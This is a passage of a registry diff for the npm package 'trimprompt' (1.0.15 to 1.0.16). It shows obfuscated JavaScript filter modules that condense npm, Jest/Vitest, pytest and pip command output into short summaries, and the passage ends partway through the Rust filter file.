trimprompt 1.0.15 → 1.0.16

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/filters/js.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x190d(){const _0x32e923=['\x20\x20...\x20(','850232PvyHfX','startsWith','462144tLUTpw','push','length','2560740YGlHJV','4082930ZlcdSe','all','__esModule','4385316OXPyZT','\x20total)','audited\x20','removed\x20','slice','replace','found\x20','98swaAHk','includes','6452NpdEIg','Test\x20Suites:','FAIL','up\x20to\x20date','defineProperty','split','join','match','added\x20','\x0aFailures:','\x20passed','trim','Test\x20Runner:\x20','814692UQBhSB','filterJestVitest','FAIL\x20\x20','filterNpmInstall','PASS','\x20failed\x20(','Tests:'];a0_0x190d=function(){return _0x32e923;};return a0_0x190d();}const a0_0x245549=a0_0x19f4;(function(_0x52f728,_0x118d68){const _0x2f5746=a0_0x19f4,_0x20f731=_0x52f728();while(!![]){try{const _0x4ebc57=parseInt(_0x2f5746(0x19c))/0x1*(-parseInt(_0x2f5746(0x19e))/0x2)+-parseInt(_0x2f5746(0x1ab))/0x3+-parseInt(_0x2f5746(0x1b3))/0x4+parseInt(_0x2f5746(0x1b9))/0x5+parseInt(_0x2f5746(0x1bc))/0x6+-parseInt(_0x2f5746(0x1b8))/0x7+parseInt(_0x2f5746(0x1b5))/0x8;if(_0x4ebc57===_0x118d68)break;else _0x20f731['push'](_0x20f731['shift']());}catch(_0x4e11be){_0x20f731['push'](_0x20f731['shift']());}}}(a0_0x190d,0x6b36e));Object[a0_0x245549(0x1a2)](exports,a0_0x245549(0x1bb),{'value':!![]}),exports[a0_0x245549(0x1ae)]=filterNpmInstall,exports[a0_0x245549(0x1ac)]=filterJestVitest;function a0_0x19f4(_0x1e36a8,_0x4607f3){_0x1e36a8=_0x1e36a8-0x19c;const _0x190dab=a0_0x190d();let _0x19f49b=_0x190dab[_0x1e36a8];return _0x19f49b;}function filterNpmInstall(_0x41d8c0){const _0x13dcbe=a0_0x245549,_0x3b7d9d=_0x41d8c0[_0x13dcbe(0x1c1)](/\r/g,'\x0a'),_0x59b9df=_0x3b7d9d[_0x13dcbe(0x1a3)]('\x0a'),_0x2d85d1=[];for(const _0x3a8712 of _0x59b9df){const _0x44b7c0=_0x3a8712['trim']();(_0x44b7c0[_0x13dcbe(0x19d)](_0x13dcbe(0x1a6))||_0x44b7c0['includes'](_0x13dcbe(0x1bf))||_0x44b7c0['includes'](_0x13dcbe(0x1be))||_0x44b7c0[_0x13dcbe(0x19d)](_0x13dcbe(0x1a1))||_0x44b7c0[_0x13dcbe(0x19d)](_0x13dcbe(0x1c2)))&&(!_0x44b7c0['includes']('%')&&!_0x44b7c0['startsWith']('⠋')&&!_0x44b7c0[_0x13dcbe(0x1b4)]('⠙')&&_0x2d85d1[_0x13dcbe(0x1b6)](_0x44b7c0));}const _0x4c5a46=_0x2d85d1['join']('\x0a')[_0x13dcbe(0x1a9)]();return _0x4c5a46[_0x13dcbe(0x1b7)]>0x0?_0x4c5a46:'NPM:\x20Packages\x20verified/installed\x20successfully';}function filterJestVitest(_0x1e9b20){const _0x583895=a0_0x245549,_0x258b96=_0x1e9b20[_0x583895(0x1a3)]('\x0a');let _0x467a24=0x0,_0x220da6=0x0,_0x42c3bb=0x0;const _0x33b117=[];let _0x5dec76=![];for(const _0xdc9d3d of _0x258b96){const _0x19461e=_0xdc9d3d['trim']();if(_0x19461e[_0x583895(0x1b4)](_0x583895(0x1b1))||_0x19461e[_0x583895(0x19d)]('Test\x20Files:')){const _0x3a1c3a=_0x19461e['match'](/(\d+)\s+passed/),_0x470914=_0x19461e[_0x583895(0x1a5)](/(\d+)\s+failed/),_0xbd7b49=_0x19461e[_0x583895(0x1a5)](/(\d+)\s+total/);if(_0x3a1c3a)_0x467a24=parseInt(_0x3a1c3a[0x1]);if(_0x470914)_0x220da6=parseInt(_0x470914[0x1]);if(_0xbd7b49)_0x42c3bb=parseInt(_0xbd7b49[0x1]);continue;}(_0x19461e[_0x583895(0x1b4)]('❯')||_0x19461e[_0x583895(0x1b4)]('●')||_0x19461e[_0x583895(0x1b4)](_0x583895(0x1ad)))&&(_0x5dec76=!![]),_0x5dec76&&(_0x19461e['length']>0x0&&!_0x19461e[_0x583895(0x1b4)](_0x583895(0x19f))&&!_0x19461e[_0x583895(0x1b4)](_0x583895(0x1b1))&&_0x33b117[_0x583895(0x1b6)](_0xdc9d3d));}if(_0x42c3bb===0x0&&_0x467a24===0x0&&_0x220da6===0x0){if(_0x1e9b20['includes'](_0x583895(0x1af))&&!_0x1e9b20[_0x583895(0x19d)](_0x583895(0x1a0))){const _0x26fb00=_0x1e9b20['match'](/(\d+)\s+passed/),_0x1eb5ea=_0x26fb00?_0x26fb00[0x1]:_0x583895(0x1ba);return _0x583895(0x1aa)+_0x1eb5ea+_0x583895(0x1a8);}return _0x1e9b20;}if(_0x220da6===0x0&&_0x467a24>0x0)return _0x583895(0x1aa)+_0x467a24+'\x20passed';const _0x428752=[_0x583895(0x1aa)+_0x467a24+'\x20passed,\x20'+_0x220da6+_0x583895(0x1b0)+_0x42c3bb+_0x583895(0x1bd)];if(_0x33b117[_0x583895(0x1b7)]>0x0){_0x428752[_0x583895(0x1b6)](_0x583895(0x1a7));const _0x493d03=0x19,_0x470697=_0x33b117[_0x583895(0x1c0)](0x0,_0x493d03);for(const _0xada0c9 of _0x470697){_0x428752[_0x583895(0x1b6)]('\x20\x20'+_0xada0c9);}_0x33b117[_0x583895(0x1b7)]>_0x493d03&&_0x428752['push'](_0x583895(0x1b2)+(_0x33b117[_0x583895(0x1b7)]-_0x493d03)+'\x20lines\x20of\x20trace\x20details\x20truncated)');}return _0x428752[_0x583895(0x1a4)]('\x0a');}
1
+ 'use strict';function a0_0x1064(_0x484498,_0x12d460){const _0x1f8067=a0_0x1f80();return a0_0x1064=function(_0x1064f4,_0x56bd0c){_0x1064f4=_0x1064f4-0xde;let _0x4e260a=_0x1f8067[_0x1064f4];return _0x4e260a;},a0_0x1064(_0x484498,_0x12d460);}const a0_0x588968=a0_0x1064;(function(_0x2440fb,_0x40972e){const _0x168b3a=a0_0x1064,_0xd8f44a=_0x2440fb();while(!![]){try{const _0x15086d=-parseInt(_0x168b3a(0xf3))/0x1*(-parseInt(_0x168b3a(0xe7))/0x2)+-parseInt(_0x168b3a(0xea))/0x3+parseInt(_0x168b3a(0x102))/0x4+-parseInt(_0x168b3a(0xdf))/0x5+parseInt(_0x168b3a(0xfe))/0x6+-parseInt(_0x168b3a(0x100))/0x7+-parseInt(_0x168b3a(0xe0))/0x8*(parseInt(_0x168b3a(0xf6))/0x9);if(_0x15086d===_0x40972e)break;else _0xd8f44a['push'](_0xd8f44a['shift']());}catch(_0x58fd86){_0xd8f44a['push'](_0xd8f44a['shift']());}}}(a0_0x1f80,0x7f1fd));function a0_0x1f80(){const _0x43c555=['\x20failed\x20(','join','PASS','\x20lines\x20of\x20trace\x20details\x20truncated)','Tests:','4501500JbXDmY','\x0aFailures:','4957470uFjnbA','filterJestVitest','3732948hnuncE','match','912645YSqHou','136eVSWNm','push','\x20total)','Test\x20Runner:\x20','defineProperty','split','filterNpmInstall','132658YSayha','\x20passed','audited\x20','1672071TAjlYw','FAIL\x20\x20','replace','Test\x20Suites:','includes','startsWith','all','up\x20to\x20date','length','7pXLfON','NPM:\x20Packages\x20verified/installed\x20successfully','FAIL','94761AeWTWy','removed\x20','trim'];a0_0x1f80=function(){return _0x43c555;};return a0_0x1f80();}Object[a0_0x588968(0xe4)](exports,'__esModule',{'value':!![]}),exports[a0_0x588968(0xe6)]=filterNpmInstall,exports[a0_0x588968(0x101)]=filterJestVitest;function filterNpmInstall(_0x56988a){const _0x1aca10=a0_0x588968,_0x2df93a=_0x56988a[_0x1aca10(0xec)](/\r/g,'\x0a'),_0x597670=_0x2df93a[_0x1aca10(0xe5)]('\x0a'),_0x2fc83f=[];for(const _0x8339e9 of _0x597670){const _0x465e6=_0x8339e9[_0x1aca10(0xf8)]();(_0x465e6[_0x1aca10(0xee)]('added\x20')||_0x465e6['includes'](_0x1aca10(0xf7))||_0x465e6[_0x1aca10(0xee)](_0x1aca10(0xe9))||_0x465e6[_0x1aca10(0xee)](_0x1aca10(0xf1))||_0x465e6['includes']('found\x20'))&&(!_0x465e6['includes']('%')&&!_0x465e6[_0x1aca10(0xef)]('⠋')&&!_0x465e6[_0x1aca10(0xef)]('⠙')&&_0x2fc83f[_0x1aca10(0xe1)](_0x465e6));}const _0x4c38e9=_0x2fc83f[_0x1aca10(0xfa)]('\x0a')['trim']();return _0x4c38e9[_0x1aca10(0xf2)]>0x0?_0x4c38e9:_0x1aca10(0xf4);}function filterJestVitest(_0x5c68c1){const _0x1d9c26=a0_0x588968,_0x59d1a1=_0x5c68c1['split']('\x0a');let _0x2f478e=0x0,_0xbc66e7=0x0,_0x36c687=0x0;const _0x18860a=[];let _0x20ed7f=![];for(const _0x41391f of _0x59d1a1){const _0x5a6e4a=_0x41391f['trim']();if(_0x5a6e4a['startsWith'](_0x1d9c26(0xfd))||_0x5a6e4a[_0x1d9c26(0xee)]('Test\x20Files:')){const _0x1a2b20=_0x5a6e4a['match'](/(\d+)\s+passed/),_0x1e13d2=_0x5a6e4a[_0x1d9c26(0xde)](/(\d+)\s+failed/),_0x199986=_0x5a6e4a[_0x1d9c26(0xde)](/(\d+)\s+total/);if(_0x1a2b20)_0x2f478e=parseInt(_0x1a2b20[0x1]);if(_0x1e13d2)_0xbc66e7=parseInt(_0x1e13d2[0x1]);if(_0x199986)_0x36c687=parseInt(_0x199986[0x1]);continue;}(_0x5a6e4a[_0x1d9c26(0xef)]('❯')||_0x5a6e4a[_0x1d9c26(0xef)]('●')||_0x5a6e4a[_0x1d9c26(0xef)](_0x1d9c26(0xeb)))&&(_0x20ed7f=!![]),_0x20ed7f&&(_0x5a6e4a['length']>0x0&&!_0x5a6e4a[_0x1d9c26(0xef)](_0x1d9c26(0xed))&&!_0x5a6e4a[_0x1d9c26(0xef)](_0x1d9c26(0xfd))&&_0x18860a['push'](_0x41391f));}if(_0x36c687===0x0&&_0x2f478e===0x0&&_0xbc66e7===0x0){if(_0x5c68c1['includes'](_0x1d9c26(0xfb))&&!_0x5c68c1[_0x1d9c26(0xee)](_0x1d9c26(0xf5))){const _0x25a5b3=_0x5c68c1['match'](/(\d+)\s+passed/),_0x3e0a82=_0x25a5b3?_0x25a5b3[0x1]:_0x1d9c26(0xf0);return _0x1d9c26(0xe3)+_0x3e0a82+_0x1d9c26(0xe8);}return _0x5c68c1;}if(_0xbc66e7===0x0&&_0x2f478e>0x0)return _0x1d9c26(0xe3)+_0x2f478e+_0x1d9c26(0xe8);const _0x2fff55=[_0x1d9c26(0xe3)+_0x2f478e+'\x20passed,\x20'+_0xbc66e7+_0x1d9c26(0xf9)+_0x36c687+_0x1d9c26(0xe2)];if(_0x18860a[_0x1d9c26(0xf2)]>0x0){_0x2fff55[_0x1d9c26(0xe1)](_0x1d9c26(0xff));const _0x252d56=0x19,_0x348196=_0x18860a['slice'](0x0,_0x252d56);for(const _0x3dad54 of _0x348196){_0x2fff55[_0x1d9c26(0xe1)]('\x20\x20'+_0x3dad54);}_0x18860a['length']>_0x252d56&&_0x2fff55[_0x1d9c26(0xe1)]('\x20\x20...\x20('+(_0x18860a['length']-_0x252d56)+_0x1d9c26(0xfc));}return _0x2fff55[_0x1d9c26(0xfa)]('\x0a');}
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x7d4209=a0_0x5a48;(function(_0x5f2196,_0x4ff338){const _0x37e821=a0_0x5a48,_0x4a65cc=_0x5f2196();while(!![]){try{const _0x4e1775=-parseInt(_0x37e821(0x9b))/0x1*(-parseInt(_0x37e821(0xa3))/0x2)+parseInt(_0x37e821(0x9c))/0x3+parseInt(_0x37e821(0x7a))/0x4+parseInt(_0x37e821(0x9e))/0x5+-parseInt(_0x37e821(0x8e))/0x6+parseInt(_0x37e821(0x8a))/0x7*(parseInt(_0x37e821(0x95))/0x8)+-parseInt(_0x37e821(0xa2))/0x9;if(_0x4e1775===_0x4ff338)break;else _0x4a65cc['push'](_0x4a65cc['shift']());}catch(_0x289751){_0x4a65cc['push'](_0x4a65cc['shift']());}}}(a0_0x479a,0xd7bdb));Object[a0_0x7d4209(0x87)](exports,a0_0x7d4209(0x81),{'value':!![]}),exports['filterPytest']=filterPytest,exports['filterPipInstall']=filterPipInstall;function a0_0x5a48(_0x1cd2a2,_0x26d3a1){_0x1cd2a2=_0x1cd2a2-0x79;const _0x479ab4=a0_0x479a();let _0x5a48eb=_0x479ab4[_0x1cd2a2];return _0x5a48eb;}function filterPytest(_0x1dff35){const _0x5a6851=a0_0x7d4209,_0xc7629c=_0x1dff35['split']('\x0a');let _0x4a3454=0x0,_0x388619=0x0,_0x3c2b48=0x0,_0x332ff7=0x0,_0xed9eef=0x0;const _0x3c84f0=[];let _0x2b0a2b=[],_0x5bbb87=![];for(const _0x569d71 of _0xc7629c){const _0x245248=_0x569d71['trim']();if(_0x245248[_0x5a6851(0x88)](_0x5a6851(0x9f))||_0x245248['startsWith'](_0x5a6851(0x97))){_0x5bbb87=!![];continue;}else(_0x245248[_0x5a6851(0x88)](_0x5a6851(0xa0))||_0x245248[_0x5a6851(0x88)](_0x5a6851(0x7f))&&_0x245248[_0x5a6851(0x96)](_0x5a6851(0x99)))&&(_0x5bbb87=![],_0x2b0a2b[_0x5a6851(0x79)]>0x0&&(_0x3c84f0['push'](_0x2b0a2b),_0x2b0a2b=[]));if(_0x5bbb87){if(_0x245248[_0x5a6851(0x88)](_0x5a6851(0x84)))_0x2b0a2b[_0x5a6851(0x79)]>0x0&&(_0x3c84f0[_0x5a6851(0x7c)](_0x2b0a2b),_0x2b0a2b=[]),_0x2b0a2b[_0x5a6851(0x7c)](_0x245248);else _0x245248[_0x5a6851(0x79)]>0x0&&_0x2b0a2b[_0x5a6851(0x7c)](_0x569d71);continue;}if(_0x245248['startsWith']('===')&&_0x245248[_0x5a6851(0x96)]('\x20in\x20')){const _0x1c6bb9=_0x245248['match'](/(\d+)\s+passed/),_0x11eedf=_0x245248[_0x5a6851(0x93)](/(\d+)\s+failed/),_0x5dcf00=_0x245248['match'](/(\d+)\s+skipped/),_0x4147be=_0x245248[_0x5a6851(0x93)](/(\d+)\s+xfailed/),_0x1eefe8=_0x245248[_0x5a6851(0x93)](/(\d+)\s+xpassed/);if(_0x1c6bb9)_0x4a3454=parseInt(_0x1c6bb9[0x1]);if(_0x11eedf)_0x388619=parseInt(_0x11eedf[0x1]);if(_0x5dcf00)_0x3c2b48=parseInt(_0x5dcf00[0x1]);if(_0x4147be)_0x332ff7=parseInt(_0x4147be[0x1]);if(_0x1eefe8)_0xed9eef=parseInt(_0x1eefe8[0x1]);}}_0x2b0a2b['length']>0x0&&_0x3c84f0['push'](_0x2b0a2b);if(_0x4a3454===0x0&&_0x388619===0x0&&_0x3c2b48===0x0&&_0x332ff7===0x0&&_0xed9eef===0x0){if(_0x1dff35[_0x5a6851(0x96)](_0x5a6851(0x99))&&!_0x1dff35[_0x5a6851(0x96)](_0x5a6851(0x8d)))return'Pytest:\x20All\x20tests\x20passed';return _0x1dff35;}if(_0x388619===0x0&&_0x4a3454>0x0&&_0x3c2b48===0x0&&_0x332ff7===0x0&&_0xed9eef===0x0)return _0x5a6851(0x86)+_0x4a3454+_0x5a6851(0x90);const _0xc5d7bb=[];_0xc5d7bb[_0x5a6851(0x7c)](_0x5a6851(0x86)+_0x4a3454+_0x5a6851(0x90));if(_0x388619>0x0)_0xc5d7bb[_0x5a6851(0x7c)](_0x388619+'\x20failed');if(_0x3c2b48>0x0)_0xc5d7bb['push'](_0x3c2b48+'\x20skipped');if(_0x332ff7>0x0)_0xc5d7bb[_0x5a6851(0x7c)](_0x332ff7+_0x5a6851(0x9a));if(_0xed9eef>0x0)_0xc5d7bb[_0x5a6851(0x7c)](_0xed9eef+_0x5a6851(0x7e));const _0x3c2b2a=[_0xc5d7bb['join'](',\x20')];if(_0x3c84f0[_0x5a6851(0x79)]>0x0){_0x3c2b2a[_0x5a6851(0x7c)](_0x5a6851(0x98));const _0x196ab3=0x3,_0x1f1b1a=_0x3c84f0[_0x5a6851(0x7b)](0x0,_0x196ab3);for(let _0x461976=0x0;_0x461976<_0x1f1b1a[_0x5a6851(0x79)];_0x461976++){const _0x3bfcfb=_0x1f1b1a[_0x461976],_0xc4a6ce=_0x3bfcfb[0x0][_0x5a6851(0x82)](/_/g,'')[_0x5a6851(0x80)]();_0x3c2b2a[_0x5a6851(0x7c)]('\x20\x20'+(_0x461976+0x1)+_0x5a6851(0x8b)+_0xc4a6ce);const _0x2735c8=_0x3bfcfb['slice'](0x1),_0x2436e2=_0x2735c8[_0x5a6851(0x85)](_0x55e928=>{const _0x20932e=_0x5a6851,_0x51aca2=_0x55e928[_0x20932e(0x80)]();return _0x51aca2[_0x20932e(0x88)]('>')||_0x51aca2[_0x20932e(0x88)]('E\x20\x20\x20')||_0x51aca2[_0x20932e(0x96)](_0x20932e(0xa1))||_0x51aca2[_0x20932e(0x96)](_0x20932e(0x91));});for(const _0xaba571 of _0x2436e2['slice'](0x0,0x8)){_0x3c2b2a[_0x5a6851(0x7c)](_0x5a6851(0x92)+_0xaba571);}_0x2436e2[_0x5a6851(0x79)]>0x8&&_0x3c2b2a[_0x5a6851(0x7c)](_0x5a6851(0x9d)+(_0x2436e2[_0x5a6851(0x79)]-0x8)+'\x20lines\x20of\x20stacktrace\x20truncated)');}_0x3c84f0[_0x5a6851(0x79)]>_0x196ab3&&_0x3c2b2a['push'](_0x5a6851(0x8c)+(_0x3c84f0['length']-_0x196ab3)+'\x20more\x20failures\x20truncated');}return _0x3c2b2a[_0x5a6851(0x7d)]('\x0a');}function a0_0x479a(){const _0x49fc83=['Using\x20cached','9296bVYeKk','includes','===\x20ERRORS\x20===','\x0aFailures:','passed','\x20xfailed','97PJRQoh','1527810RmOMJI','\x20\x20\x20\x20...\x20(','897630QAvrje','===\x20FAILURES\x20===','===\x20short\x20test\x20summary\x20info\x20===','.py:','18733977BloFsE','6002UtfLps','length','3864736FsQxIO','slice','push','join','\x20xpassed\x20(warning!)','===','trim','__esModule','replace','Requirement\x20already\x20satisfied','___','filter','Pytest:\x20','defineProperty','startsWith','split','9037CuufNU','.\x20[FAIL]\x20','\x20\x20...\x20+','failed','2885946iugjnH','Collecting','\x20passed','AssertionError:','\x20\x20\x20\x20','match'];a0_0x479a=function(){return _0x49fc83;};return a0_0x479a();}function filterPipInstall(_0x736132){const _0x303be4=a0_0x7d4209,_0x66a4c0=_0x736132[_0x303be4(0x89)]('\x0a'),_0x253f68=[];for(const _0x1abda1 of _0x66a4c0){const _0x59b66e=_0x1abda1[_0x303be4(0x80)]();_0x59b66e[_0x303be4(0x88)]('Successfully\x20installed')&&_0x253f68[_0x303be4(0x7c)](_0x59b66e);}if(_0x253f68[_0x303be4(0x79)]>0x0)return _0x253f68[_0x303be4(0x7d)]('\x0a');return _0x66a4c0[_0x303be4(0x85)](_0x3439d7=>{const _0x5efb31=_0x303be4,_0x2e2c8c=_0x3439d7[_0x5efb31(0x80)]();return!_0x2e2c8c[_0x5efb31(0x88)](_0x5efb31(0x8f))&&!_0x2e2c8c[_0x5efb31(0x88)]('Downloading')&&!_0x2e2c8c['includes'](_0x5efb31(0x94))&&!_0x2e2c8c['startsWith'](_0x5efb31(0x83));})[_0x303be4(0x7d)]('\x0a')[_0x303be4(0x80)]();}
1
+ 'use strict';function a0_0x5511(){const _0x19e6c=['filterPytest','join','slice','Using\x20cached','.\x20[FAIL]\x20','===\x20FAILURES\x20===','Pytest:\x20','189841OSRKEP','Successfully\x20installed','===\x20short\x20test\x20summary\x20info\x20===','3tGHrtM','\x20lines\x20of\x20stacktrace\x20truncated)','1960UjwlQW','Collecting','32445EwWorq','===\x20ERRORS\x20===','includes','===','8148710CgOzww','\x20\x20\x20\x20','replace','8fiWtYD','push','split','Requirement\x20already\x20satisfied','E\x20\x20\x20','\x20passed','6099462eeoTyn','AssertionError:','\x20xpassed\x20(warning!)','startsWith','trim','.py:','filter','defineProperty','\x20\x20...\x20+','339376kkHhGF','814400aNPIrl','\x20skipped','7283250KaCThc','passed','\x20in\x20','length','match','Downloading','___','\x0aFailures:','filterPipInstall','\x20failed'];a0_0x5511=function(){return _0x19e6c;};return a0_0x5511();}const a0_0x2c5c31=a0_0x5408;(function(_0x50db73,_0x9db051){const _0x2a6d1b=a0_0x5408,_0x48b0f5=_0x50db73();while(!![]){try{const _0x41bd4a=parseInt(_0x2a6d1b(0x178))/0x1*(parseInt(_0x2a6d1b(0x186))/0x2)+-parseInt(_0x2a6d1b(0x17b))/0x3*(parseInt(_0x2a6d1b(0x164))/0x4)+-parseInt(_0x2a6d1b(0x165))/0x5+-parseInt(_0x2a6d1b(0x15b))/0x6+parseInt(_0x2a6d1b(0x17f))/0x7*(parseInt(_0x2a6d1b(0x17d))/0x8)+parseInt(_0x2a6d1b(0x167))/0x9+-parseInt(_0x2a6d1b(0x183))/0xa;if(_0x41bd4a===_0x9db051)break;else _0x48b0f5['push'](_0x48b0f5['shift']());}catch(_0xf9f4f8){_0x48b0f5['push'](_0x48b0f5['shift']());}}}(a0_0x5511,0x98979));function a0_0x5408(_0x27f9ad,_0x3a6934){const _0x551191=a0_0x5511();return a0_0x5408=function(_0x5408ff,_0x5bfda1){_0x5408ff=_0x5408ff-0x159;let _0x402117=_0x551191[_0x5408ff];return _0x402117;},a0_0x5408(_0x27f9ad,_0x3a6934);}Object[a0_0x2c5c31(0x162)](exports,'__esModule',{'value':!![]}),exports[a0_0x2c5c31(0x171)]=filterPytest,exports[a0_0x2c5c31(0x16f)]=filterPipInstall;function filterPytest(_0x393f7e){const _0xa7a419=a0_0x2c5c31,_0x44b1b9=_0x393f7e[_0xa7a419(0x188)]('\x0a');let _0x36bd09=0x0,_0x165451=0x0,_0x589259=0x0,_0x578edf=0x0,_0x1acf9b=0x0;const _0x257a6a=[];let _0x4d2f0f=[],_0x384485=![];for(const _0x5e97df of _0x44b1b9){const _0x3d0cc7=_0x5e97df['trim']();if(_0x3d0cc7[_0xa7a419(0x15e)](_0xa7a419(0x176))||_0x3d0cc7[_0xa7a419(0x15e)](_0xa7a419(0x180))){_0x384485=!![];continue;}else(_0x3d0cc7['startsWith'](_0xa7a419(0x17a))||_0x3d0cc7[_0xa7a419(0x15e)]('===')&&_0x3d0cc7[_0xa7a419(0x181)](_0xa7a419(0x168)))&&(_0x384485=![],_0x4d2f0f[_0xa7a419(0x16a)]>0x0&&(_0x257a6a[_0xa7a419(0x187)](_0x4d2f0f),_0x4d2f0f=[]));if(_0x384485){if(_0x3d0cc7['startsWith'](_0xa7a419(0x16d)))_0x4d2f0f['length']>0x0&&(_0x257a6a['push'](_0x4d2f0f),_0x4d2f0f=[]),_0x4d2f0f[_0xa7a419(0x187)](_0x3d0cc7);else _0x3d0cc7[_0xa7a419(0x16a)]>0x0&&_0x4d2f0f[_0xa7a419(0x187)](_0x5e97df);continue;}if(_0x3d0cc7['startsWith'](_0xa7a419(0x182))&&_0x3d0cc7['includes'](_0xa7a419(0x169))){const _0x4a00e6=_0x3d0cc7[_0xa7a419(0x16b)](/(\d+)\s+passed/),_0x5de82a=_0x3d0cc7[_0xa7a419(0x16b)](/(\d+)\s+failed/),_0x5cad01=_0x3d0cc7[_0xa7a419(0x16b)](/(\d+)\s+skipped/),_0x2961bf=_0x3d0cc7[_0xa7a419(0x16b)](/(\d+)\s+xfailed/),_0x4865b8=_0x3d0cc7[_0xa7a419(0x16b)](/(\d+)\s+xpassed/);if(_0x4a00e6)_0x36bd09=parseInt(_0x4a00e6[0x1]);if(_0x5de82a)_0x165451=parseInt(_0x5de82a[0x1]);if(_0x5cad01)_0x589259=parseInt(_0x5cad01[0x1]);if(_0x2961bf)_0x578edf=parseInt(_0x2961bf[0x1]);if(_0x4865b8)_0x1acf9b=parseInt(_0x4865b8[0x1]);}}_0x4d2f0f[_0xa7a419(0x16a)]>0x0&&_0x257a6a[_0xa7a419(0x187)](_0x4d2f0f);if(_0x36bd09===0x0&&_0x165451===0x0&&_0x589259===0x0&&_0x578edf===0x0&&_0x1acf9b===0x0){if(_0x393f7e[_0xa7a419(0x181)](_0xa7a419(0x168))&&!_0x393f7e[_0xa7a419(0x181)]('failed'))return'Pytest:\x20All\x20tests\x20passed';return _0x393f7e;}if(_0x165451===0x0&&_0x36bd09>0x0&&_0x589259===0x0&&_0x578edf===0x0&&_0x1acf9b===0x0)return _0xa7a419(0x177)+_0x36bd09+_0xa7a419(0x15a);const _0x2cfd1f=[];_0x2cfd1f['push'](_0xa7a419(0x177)+_0x36bd09+_0xa7a419(0x15a));if(_0x165451>0x0)_0x2cfd1f[_0xa7a419(0x187)](_0x165451+_0xa7a419(0x170));if(_0x589259>0x0)_0x2cfd1f['push'](_0x589259+_0xa7a419(0x166));if(_0x578edf>0x0)_0x2cfd1f['push'](_0x578edf+'\x20xfailed');if(_0x1acf9b>0x0)_0x2cfd1f[_0xa7a419(0x187)](_0x1acf9b+_0xa7a419(0x15d));const _0x339381=[_0x2cfd1f['join'](',\x20')];if(_0x257a6a[_0xa7a419(0x16a)]>0x0){_0x339381['push'](_0xa7a419(0x16e));const _0x13949a=0x3,_0x184e5e=_0x257a6a[_0xa7a419(0x173)](0x0,_0x13949a);for(let _0x4fc820=0x0;_0x4fc820<_0x184e5e['length'];_0x4fc820++){const _0x493180=_0x184e5e[_0x4fc820],_0x5e38e6=_0x493180[0x0][_0xa7a419(0x185)](/_/g,'')[_0xa7a419(0x15f)]();_0x339381[_0xa7a419(0x187)]('\x20\x20'+(_0x4fc820+0x1)+_0xa7a419(0x175)+_0x5e38e6);const _0x573593=_0x493180['slice'](0x1),_0x15d9ba=_0x573593[_0xa7a419(0x161)](_0x33aec1=>{const _0x347937=_0xa7a419,_0x839041=_0x33aec1[_0x347937(0x15f)]();return _0x839041[_0x347937(0x15e)]('>')||_0x839041[_0x347937(0x15e)](_0x347937(0x159))||_0x839041[_0x347937(0x181)](_0x347937(0x160))||_0x839041[_0x347937(0x181)](_0x347937(0x15c));});for(const _0x166bb3 of _0x15d9ba[_0xa7a419(0x173)](0x0,0x8)){_0x339381[_0xa7a419(0x187)](_0xa7a419(0x184)+_0x166bb3);}_0x15d9ba[_0xa7a419(0x16a)]>0x8&&_0x339381['push']('\x20\x20\x20\x20...\x20('+(_0x15d9ba[_0xa7a419(0x16a)]-0x8)+_0xa7a419(0x17c));}_0x257a6a['length']>_0x13949a&&_0x339381[_0xa7a419(0x187)](_0xa7a419(0x163)+(_0x257a6a[_0xa7a419(0x16a)]-_0x13949a)+'\x20more\x20failures\x20truncated');}return _0x339381[_0xa7a419(0x172)]('\x0a');}function filterPipInstall(_0x23b5a5){const _0x19bfbf=a0_0x2c5c31,_0x4f1c46=_0x23b5a5[_0x19bfbf(0x188)]('\x0a'),_0xbd4e5d=[];for(const _0x49c05f of _0x4f1c46){const _0x4c050b=_0x49c05f[_0x19bfbf(0x15f)]();_0x4c050b[_0x19bfbf(0x15e)](_0x19bfbf(0x179))&&_0xbd4e5d['push'](_0x4c050b);}if(_0xbd4e5d[_0x19bfbf(0x16a)]>0x0)return _0xbd4e5d[_0x19bfbf(0x172)]('\x0a');return _0x4f1c46[_0x19bfbf(0x161)](_0x3d8698=>{const _0x24eee7=_0x19bfbf,_0x541acf=_0x3d8698[_0x24eee7(0x15f)]();return!_0x541acf[_0x24eee7(0x15e)](_0x24eee7(0x17e))&&!_0x541acf[_0x24eee7(0x15e)](_0x24eee7(0x16c))&&!_0x541acf['includes'](_0x24eee7(0x174))&&!_0x541acf['startsWith'](_0x24eee7(0x189));})['join']('\x0a')[_0x19bfbf(0x15f)]();}
package/filters/rust.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x4956c4=a0_0x5d8b;(function(_0x39e262,_0x41973f){const _0x183588=a0_0x5d8b,_0x3d034e=_0x39e262();while(!![]){try{const _0x55083f=parseInt(_0x183588(0x174))/0x1+-parseInt(_0x183588(0x177))/0x2*(parseInt(_0x183588(0x18e))/0x3)+-parseInt(_0x183588(0x194))/0x4+parseInt(_0x183588(0x182))/0x5+-parseInt(_0x183588(0x180))/0x6+-parseInt(_0x183588(0x1a4))/0x7*(-parseInt(_0x183588(0x191))/0x8)+parseInt(_0x183588(0x17a))/0x9*(parseInt(_0x183588(0x19c))/0xa);if(_0x55083f===_0x41973f)break;else _0x3d034e['push'](_0x3d034e['shift']());}catch(_0x49a2dc){_0x3d034e['push'](_0x3d034e['shift']());}}}(a0_0x44d8,0xdaa9c));Object['defineProperty'](exports,a0_0x4956c4(0x183),{'value':!![]}),exports[a0_0x4956c4(0x17b)]=filterCargoTest,exports[a0_0x4956c4(0x190)]=filterCargoBuild;function filterCargoTest(_0x430f2c){const _0x5b801a=a0_0x4956c4,_0x54d522=_0x430f2c['split']('\x0a');let _0x3e5159=0x0,_0x54b404=0x0,_0x494dcc=0x0,_0x3bf1f6=0x0;const _0x5a6769=[];let _0x13fa46=![],_0x7b6a71=[];for(const _0x323a46 of _0x54d522){const _0x28d51e=_0x323a46[_0x5b801a(0x176)](),_0x12672d=_0x28d51e['match'](/test 